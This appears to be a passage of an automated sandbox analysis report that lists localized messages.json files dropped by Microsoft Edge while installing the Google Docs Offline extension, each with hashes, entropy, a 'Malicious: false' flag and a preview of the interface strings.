Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
